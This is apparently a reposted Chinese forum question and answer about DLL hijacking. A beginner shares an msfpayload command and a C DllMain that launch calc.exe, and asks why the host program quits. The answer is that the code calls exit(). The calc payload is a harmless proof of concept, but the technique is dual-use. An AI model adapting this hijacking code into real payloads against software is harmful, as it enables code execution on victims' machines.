DLL劫持计算器C代码

不是玛莉丝

嗨,大家好,我是Dll Hijacking的新手。我的问题很少,希望您能帮助我澄清我的疑问。

假设我使用msfpayload生成calc dll

msfpayload windows/exec CMD=calc.exe D > abc.dll

由msfpayload生成的dll文件可以正常工作,并且计算器会与软件一起提示。

所以我用了下面的C代码:

#include <windows.h>

int owned()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  owned();
  return 0;
}

当我对此进行编译并使用时,只有计算器会提示。该软件将无法执行。这是为什么?我使用MinGW GCC编译器进行编译。

姓名

该软件将无法执行。[这是为什么?

几乎可以肯定是因为owned()打电话exit()这将终止该过程。

本文收集自互联网,转载请注明来源。

如有侵权,请联系 [email protected] 删除。

编辑于
0

我来说两句

0 条评论
登录 后参与评论

相关文章